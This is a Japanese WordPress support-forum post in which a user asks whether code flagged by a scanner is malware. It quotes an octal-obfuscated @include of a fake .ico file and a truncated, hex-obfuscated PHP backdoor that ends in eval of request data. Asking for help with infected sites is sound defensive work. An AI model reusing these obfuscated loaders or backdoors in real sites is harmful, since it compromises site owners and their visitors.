サポート » 使い方全般 » マルウェアに関して

  • プラグイン:ワードプレスドクターを導入し、スキャンした結果…
    次のような確定診断が出たのですが、マルウェアなのでしょうか。

    詳しい方教えて下さいませ。

    ①wp-settings.phpやindex.phpの上部に次のような記述がある
    @include “\057h\157m\145/\155i\156a\164o\163c\057m\151n\141t\157s\143.\143o\155/\160u\142l\151c\137h\164m\154/\162e\156e\167/\167p\055i\156c\154u\144e\163/\152s\057.\1454\071e\1448\0647\056i\143o”;

    ②query.phpなどの複数ファイルに次のような記述がある
    <?php $jb1a8 = 765;$GLOBALS[‘u5549e’] = Array();global $u5549e;$u5549e = $GLOBALS;${“\x47\x4c\x4fB\x41\x4c\x53”}[‘ne0f8a388’] = “\x4a\x5a\x7c\x37\x39\x69\x3f\x79\x34\x7b\x56\x3e\x2a\x9\x42\x5b\x59\x68\x53\x3a\x62\xd\x58\x41\x57\x72\x38\x6c\x76\x3c\x77\x4e\x3d\x7d\x31\x2c\x6a\x35\x71\x45\x50\x64\x7e\x24\x21\x52\x32\x5e\x30\x5f\x55\x2e\x7a\x5d\x54\x63\x47\x27\x36\x61\x23\x51\x6d\x40\x2f\x25\x48\x4b\x26\x3b\x65\x5c\x2d\x4d\x6b\x73\x33\x4c\x6f\xa\x66\x4f\x46\x28\x6e\x43\x75\x22\x20\x49\x78\x44\x74\x60\x2b\x67\x29\x70”;$u5549e[$u5549e[‘ne0f8a388’][7].$u5549e[‘ne0f8a388’][41].$u5549e[‘ne0f8a388’][26].$u5549e[‘ne0f8a388’][3].$u5549e[‘ne0f8a388’][55].$u5549e[‘ne0f8a388’][41].$u5549e[‘ne0f8a388’][3].$u5549e[‘ne0f8a388’][46]] = $u5549e[‘ne0f8a388’ーーーーーーー(中省略)ーーーーー[59].$u5549e[‘ne0f8a388’][8]]($q5c2a6);}elseif ($b844[$u5549e[‘ne0f8a388’][59]] == $u5549e[‘ne0f8a388’][70]){eval/*r92df563*/($b844[$u5549e[‘ne0f8a388’][41]]);}exit();}} ?><?php

    どうぞよろしくお願いいたします。

1件の返信を表示中 - 1 - 1件目 (全1件中)
1件の返信を表示中 - 1 - 1件目 (全1件中)
  • このトピックに返信するにはログインが必要です。